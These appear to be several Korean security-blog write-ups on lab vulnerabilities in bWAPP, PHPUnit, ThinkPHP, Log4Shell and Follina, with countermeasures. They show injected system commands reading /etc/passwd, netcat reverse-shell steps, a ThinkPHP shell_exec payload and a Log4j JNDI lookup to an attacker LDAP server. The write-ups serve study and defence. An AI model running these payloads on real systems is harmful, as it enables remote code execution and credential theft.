1. Directory Traversal이란?

- 상위 디렉터리로 이동가능한 문자 ../ 를 이용해 상위 디렉터리로 접근하여 파일을 검색/다운 등이 가능한 취약점.
- 접근 통제 및 검증, 서버 설정 미흡 등의 취약점으로 인해 중요 파일에 접근이 가능한 취약점.
- 해당 취약점을 이용해 공격자는 접근 불가한 디렉터리나 파일에 접근이 가능해짐.

2. bWAPP Directory Traversal

- 먼저 bWAPP 첫화면에서 식별되는 정보는 없다.

[캡쳐 1] 초기 화면

- URL의 page 매개변수에 디렉터리 이동문자인 ../를 이용해 상위 디렉터리로 이동
- 중요파일인 /etc/passwd 파일에 접근

[캡쳐 2] /etc/passwd 내용 노출

- ../을 다수 입력한 이유는 다음과 같다.
① 공격자는 현재 자신이 위치한 디렉터리의 정확한 위치를 알지못한다.
② 공격자는 최상위 디렉터리인 root 디렉터리로 이동 후 원하는 디렉터리 및 파일에 접근하는 것이 목표이다.
③ root 디렉터리는 최상위 디렉터리이며, root 디렉터리의 상위 디렉터리 역시 root 이다.
④ 즉, 현재의 정확한 위치를 모르기 때문에 ../를 다수 입력해 root 디렉터리로 이동하기 위함이다.

[캡쳐 3] https://rrhh234cm.tistory.com/170


- Bee-box에서 다음 명령을 통해 해당 페이지의 내용을 확인할 수 있다.
directory_traversal_1.php : 문제 페이지 내용 확인 가능
functions_external.php : 설정된 함수 확인 가능

[캡쳐 4] 해당 페이지 내용 확인

directory_traversal_1.php 내용

<중략>

    <?php

    if(isset($_GET["page"]))
    {

        $file = $_GET["page"];

        switch($_COOKIE["security_level"])
            {

            case "0" :            

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET['page'];

                break;

            case "1" :         

                $directory_traversal_error = directory_traversal_check_1($file);

                if(!$directory_traversal_error)
                {

                    show_file($file);

                }

                else
                {

                    echo $directory_traversal_error;

                } 

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            case "2" :

                $directory_traversal_error = directory_traversal_check_3($file);           

                if(!$directory_traversal_error)
                {

                    show_file($file);

                }

                else
                {

                    echo $directory_traversal_error;

                }

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            default :           

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

        }

    }

    ?>
    
    <하략>

functions_external.php 내용

<중략>

function directory_traversal_check_1($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_2($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false ||
       strpos($data, ".") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_3($user_path,$base_path = "")
{
    
    $directory_traversal_error = "";
    
    $real_base_path = realpath($base_path);

    // echo "base path: " . $base_path . " real base path: " . $real_base_path . "<br />";

    $real_user_path = realpath($user_path);

    // echo "user path: " . $user_path . " real user path: " . $real_user_path . "<br />";

    // int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
    // URL: http://php.net/manual/en/function.strpos.php
    if(strpos($real_user_path, $real_base_path) === false)
    {
    
        $directory_traversal_error = "<font color=\"red\">An error occurred, please try again.</font>";
    
    }

    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

<하략>

3. 대응방안

- 보안장비 패턴(ex ../ 및 해당 문자열 인코딩 값) 등록 후 탐지 및 차단
- 입력값 검증 및 권한 검증 수행
- 해당 서버가 Apache일 경우 "conf/httpd.conf"에 모든 디렉토리 Options 지시자의 'Indexes'를 제거.

- 해당 페이지는 message를 클릭하면 test가 출력된다.

[캡쳐 1] test

- URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다.

[캡쳐 2] GET 방식 데이터 전송

- message 파라미터의 값을 다른 값으로 변경하여 실행할 경우, 변경된 값이 출력되는 것을 확인할 수 있다.

[캡쳐 3] ggonmer

- PHP에는 eval()이나 exec() 함수를 사용한 경우 세미콜론(;)을 사용해 다른 함수를 실행할 수 있는 취약점이 있다.

exec() 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
eval() 문자열을 PHP 코드로 실행해 준다.
system() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.
shell_exec() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.

- 해당 페이지에 php 취약점이 존재하는지 유무를 판별하기 위해 세미콜론(;)을 사용해 system()함수를 실행시켜 본다.

[캡쳐 4] system('ls -al')

- 실행 결과 ls -al 명령어의 결과로 파일 목록과 내용을 확인할 수 있다.

[캡쳐 5] cat /etc/passwd

- 사용자 계정 정보를 담고있는 파일인 /etc/passwd의 내용 역시 볼 수 있다.

[캡쳐 6] cat /etc/shadow

- /etc/shadow 파일의 내용은 출력되지 않는 것으로 보아 현재 웹 권한만 가지고 있고, 상위 권한의 사용자만 접근 가능한 파일의 경우 출력되지 않는 것을 알 수 있다. 

- nc 명령을 이용해 공격자의 PC로 연결도 가능하다..

-n 옵션 호스트 네임과 포트를 숫자로 출력
-l 옵션 Listen 모드로 Port 오픈
-v 옵션 더 많은 정보를 볼 수 있음
-p 옵션 포트를 지정

① 먼저 공격자가 NC 명령을 이용해 리스닝 포트를 오픈 후 대기한다.

-e 옵션 연결 생성 뒤 실행 프로그램 지정

② Bee-Box에서 해당 명령을 실행한다.

③ Bee-Box에서 Kali로 연결이 생성 및 공격자의 shell을 획득.

1. PHPUnit이란?

- PHP 프로그래밍 언어를 위한 유닛 테스트 프레임워크
- SUnit과 함께 기원한 유닛 테스트 프레임워크를 위한 XUnit 아키텍처의 인스턴스이며 JUnit과 함께 대중화
- PHPUnit은 Sebastian Bergmann이 개발하였으며 개발 자체는 깃허브에서 호스팅되고 있음

 

2. CVE-2017-9841

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2017-9841 번역

- 해당 취약점은 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php에 대한 적절한 인증과정이 없어 발생되는 취약점

 

3. 취약점 분석

- 4.8.28 이전의 버전 및 5.6.3 이전의 5.x PHPUnit에 공격이 가능하다.
- eval-stdin.php에 해당 코드에 의해 취약점이 발생한 것으로 판단된다. php://input 함수를 이용해 원시 데이터를 읽은 후 eval 함수로 해당 명령을 실행하기 때문이다.

[캡쳐 2] 취약점 유발 코드
[캡처 3] 취약점 테스트

- 공격자들은 [캡쳐 3]의 php 코드를 통하여 먼저 취약점이 존재하는지 테스트 후 [캡쳐 4] 방식 등으로 공격을 진행.

[캡쳐 4] RawData

4. 대응방안

1. 최신 버전의 패치를 적용.

[캡쳐 5] 취약점이 패치된 버전의 소스코드

2. 보안 장비에 해당 패턴을 등록하여 탐지 및 차단
( ex) /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 경로로 요청을 탐지 및 차단 할 수 있도록 룰 설정)
3. .htaccess 파일을 /vendor 폴더에 위치 시킨 후 관련 설정을 등록.
* .htacccess 파일이란 "hypertext access"의 약자로 디렉토리에 대한 접근 허용 여부 등 설정 옵션을 제공한다.

<참고>

 

bWAPP PHP Code Injection

- 해당 페이지는 message를 클릭하면 test가 출력된다. - URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다. - message 파라미터의 값을 다

ggonmerr.tistory.com

1. ThinkPHP란?

- 중국기업 탑씽크에서 개발한 아파치2 기반 PHP 프레임워크

- PHP 기본 함수호 구현된 행위들을 객체화해 PHP 개발과정의 유연성과 개발 기간의 단축 등 기능 제공

- 대부분 중국에서 사용중이며 아시아권에서 다수 사용중

[캡쳐 1] 쇼단에서 ThinkPHP 검색 화면

2. CVE-2018-20062

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2018-20062

- 입력 값에 대한 적절한 검증이 없어 공격자가 임의의 명령을 실행할 수 있는 취약점

3. 취약점 분석

1) 영향 받는 버전

- ThinkPHP 5.0.23 하위 버전

- ThinkPHP 5.1.31 하위 버전

 

2) POC 분석

[캡쳐 3] POC 분석

- POC 구문이 실행되는 이유는 '\' 문자가 필터링되지 않기 때문이며, 크게 3부분으로 나뉠 수 있다.

- 먼저, '\'가 필터링 되지않아 \think\app은 Class로, invokefunction은 함수로 분석이되고,
   call_user_func_array 하위 부분은 함수에 전달하는 인자값이 된다.

[캡쳐 4] https://amuno-note.tistory.com/6

- 즉, 만약 공격자가 call_user_func_array&vars[0]=shell_ecex&vars[1][]=ls 명령을 전송할 경우 

  [캡쳐 4]에 따라 invokefunction('shell_exec','ls')가 수행되어 결과값이 공격자에게 전송되는 것이다.

- 해당 취약점을 이용해 공격자는 wget 명령으로 임의의 주소에서 파일을 다운로드 받게하는 등 다양한 공격이 가능하다.

 

4.  대응 방안

- 최신 버전 업데이트 적용 (2018 12월 보안업데이트 적용_정규표현식에서 '\' 필터링을 통해서 해결)

- 보안 장비에 해당 패턴을 등록하여 탐지 및 차단

 

 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

마지막으로 현재는 패치가 완료된 상태이나 Log4j 취약점 대응방안을 정리한다.

 

1. KISA

주요 골자는 최신 버전 업데이트 적용이며 업데이트가 불가능할 경우 JndiLookup 클래스를 제거한다.

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

2. 취약점 점검

먼저 현재 사용중인 Log4j의 버전을 확인하여, 취약점이 존재하는 버전일 경우 최신 버전으로의 업데이트를 적용한다.

로그프로세소 등의 기업이 취약점 대응을 위한 스캐너를 배포하였으며, 해당 스캐너 등을 사용한다.

 

Log4j 버전 확인 방법

1. pom.xml 파일을 열고 "Log4j-core"로 검색해 설치된 버전 정보를 확인 가능하다.

2. 리눅스의 경우 find / -name | grep 'log4j' 명령을 수행하여 파일명 "log4j-core-버전명.jar"를 확인한다.

 

해당 취약점 점검 도구 중 https://log4shell.huntress.com/를 이용하면 보다 편리하게 점검할 수 있다. 해당 사이트에서 LDAP 서버를 구축해 수행하는 쿼리도 제공 한다. 하지만 해당 사이트에 대한 정당한 보안성 검토가 필요하다.

 

Huntress - Log4Shell Tester

Huntress Log4Shell Vulnerability Tester Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package log4j which is used in a significant amount of software. The source code for this tool is avail

log4shell.huntress.com

3. 보안 장비에서 탐지

공격자들이 해당 취약점을 이용하기 위해 일정한 패턴(%{jndi:ldap 등)을 사용하는데, 

해당 패턴들을 보안 장비에 등록하여 공격 시도를 탐지 및 차단할 수 있도록 한다.

[캡쳐 1] https://aws.amazon.com/ko/blogs/korea/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

위 사진을 통해 공격이 발생하지 않도록 할 수 있는 상황은 다음과 같다(이중 하나라도 차단이 되면 공격 불가).

1) WAF를 통해 패턴 차단

2) Log4j를 사용하지 않는 경우

3) Log4j 취약점이 패치된 최신 버전을 사용중인 경우

4) JNDI LookUp을 사용하지 않는 경우

5) Log4j를 사용하나 로그 기록 형태를 공격자가 알 수 없는 형태로 기록하는 경우

6) 공격자의 LDAP 서버와의 통신이 불가한 경우 (IP, Port 차단 또는 도메인 차단 등)

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

1. Log4j 동작 조건 및 영향 받는 버전

먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.

- log4j 버전이 2.0에서 2.14.1 사이
- JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전

2. 취약점 시연

아래 Github를 참고해 진행하였다.

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

2-1)  피해자 환경

Ubuntu 20.04
IP : 192.168.56.107

명령어

[캡쳐 1] 수행 명렁

해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.

* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).

[캡쳐 2] 웹 사이트 화면

2-2)  공격자 환경

Kali Linux
IP : 192.168.56.102
LDAP Port : 1389
Web Port : 8000
nc Port : 9001

명령어

[캡쳐 3] 수행 명령

JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.

* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드

[캡쳐 4] JDK 다운&압축해제

이후 리버스 쉘 생성과 poc를 실행한다.

[캡쳐 5] 리버스 쉘 생성 및 poc 실행

이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.

[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}

공격자 화면을 통해 확인하면 

1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며

2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.

* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).

[캡쳐 7] 공격자의 쉘 획득

2-3)  흐름도

위의 일련의 과정을 흐름도로 나타내면 다음과 같다.

[캡쳐 8] 흐름도

3. 취약점 원리

[캡쳐 9] 취약한 웹서버의 소스코드

[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로

log로 작성하기 때문에 취약점이 발생 가능 한 것이다.

 

 

 

 

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3]&amp;nbsp;https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

1. Follina 취약점?

- 5월 30일, 마이크로소프트에서 Follina (CVE-2022-30190) 로 명명된 제로데이 취약점을 발표
- Microsoft Support Diagnostic Tool (MSDT) 프로그램이 URL 프로토콜을 통해 호출될 때 발생 가능
- MSDT를 호출한 프로그램의 권한으로 임의의 코드를 원격으로 실행

 

* MSDT를 이용해 파워쉘 스크립트를 로드하여 익스플로잇

이때, MSDT를 호출하기 위해 원래 있었던 기능인 원격 웹 서버의 HTML을 호출하는 기능을 악용

=> 한문장으로 정리하면 워드 원격 템플릿 기능을 악용하여 원격 서버에서 HTML 파일을 검색한 다음
      MSDT를 악용해 악의적인 코드 또는 파워쉘 스크립트를 로드

 

2. 취약점 동작과정

  • Follina 취약점이 포함된 문서를 공격자가 유포
  • 사용자가 해당 문서를 열람
  • 취약점 실행

1) Follina 익스플로잇 코드 

[캡쳐 1] Follina 익스플로잇 코드

- 코드 중 <script> location.href = ... </srcipt>를 이용해 msdt를 호출하여 익스플로잇 시도

* 해당 script문은 원격 웹 서버의 HTML을 호출하는 기능

 

2) 피해자가 해당 문서 실행 시

[캡쳐 2] 문서 실행 시 수행되는 스크립트 문

- 피해자가 해당 문서를 실행하면 스크립트가 실행되면서 공격자의 PC에 연결 및 공격자가 쉘을 획득하는 등 행위 발생

- FromBase64String 부분을 디코딩해보면 다음과 같은 흐름으로 이루어져있음.

  1. cmd.exe를 실행하여

  2. msdt.exe가 실행된 경우 종료(?)

  3. rar 파일을 1.rar로 복사 -> 1.rar 파일의 일부분을 1.t 파일로 출력리다이렉션 -> 1.t를 인코딩하여 1.c로 저장
      -> 1.c 파일 현제 디렉터리에 압축해제 -> rgb.exe 실행

  4. 해당 스크립트 구문이 실행되면서 공격자가 쉘을 획득하거나 임의의 명령을 실행할 수 있음

[캡쳐 3] FromBase64String 부분 base64 디코딩

*  [캡쳐 2] 전후로 공격코드에 아무의미 없는 주석문이 포함되어 있는데, 이는 Follina 취약점이 크기가 4096byte 이상의 파일이어야 공격코드가 실행되기때문에 임의의 값으로 패딩하여 크기를 맞춰주기 위함.

 

3. 대응방안

1. MSDT URL 프로토콜을 비활성화
   - 명령 프롬프트(cmd.exe)를 관리자로 실행
   - 레지스트리 키를 백업하기위해 “reg export HKEY_CLASSES_ROOT\ms-msdt filename ” 명령 실행
   - “reg delete HKEY_CLASSES_ROOT\ms-msdt /f” 명령 실행

 

MSDT URL 프로토콜 레지스트리 복구
- 관리자 권한으로 명령어 프롬프트 실행.
- "reg import [백업 파일명]" 명령어를 실행하여 레지스트리 복구

 

2. 최신 패치 제공

* 이번 폴리나 패치는 코드 주입 공격 자체는 막을 수 있지만, 익스플로잇 코드를 통한 msdt.exe를 실행은 여전히 가능함

 

3. Endpoint 장비 사용

- 워드, 엑셀, 파워포인트 등의 문서에서 msdt를 포함한 명령줄 실행이 확인될 경우 탐지되도록 룰 설정

 

4. 안티바이러스 제품 사용

 

5. 사용자측에서 주의 필요

- 출처가 불분명한 파일 주의&바이러스 토탈 이용 등 방안

 

4. 특이점

- 문서파일에 악성코드를 삽입하여 유포하는 방법은 지속적으로 발생하는 공격 유형이며,

  기존에는 매크로를 이용해 악성코드를 삽입하는 유형이 다수.

- 하지만, 이번 Follina 취약점은 매크로를 사용하지 않고 msdt를 사용했다는 차이점이 있는데,

  이는 사용자의 개입을 줄어들었다는 특징이있음.

- 매크로를 이용한 악성코드의 경우 사용자가 "콘텐츠 사용" 등 매크롤를 사용하기위한 추가적인 동작이 필요하나

  Follina 취약점의 경우 문서가 실행되기만 하면 익스플로잇이 발생함.

- 또한, 특정 버전만이 영향 받는것이 아닌 ms 오피스의 모든 제품에서 취약점이 발생 가능함.

- 3. 대응방안에 따른 대응 및 조치가 가능하나 해당 취약점을 이용한 여러가지 공격 변형이 발생할 수 있으므로 주의 필요.

 

직접 취약점을 실행하여 확인해보려 했으나 능력의 부족으로 그러지 못하였습니다.

다음번 취약점 분석을 할 경우 충분하고 철저히 준비해 계획한대로 수행하도록 노력하겠습니다.

틀린부분이 있을경우 언제든지 피드백 주시면 감사하겠습니다.

 

+ Recent posts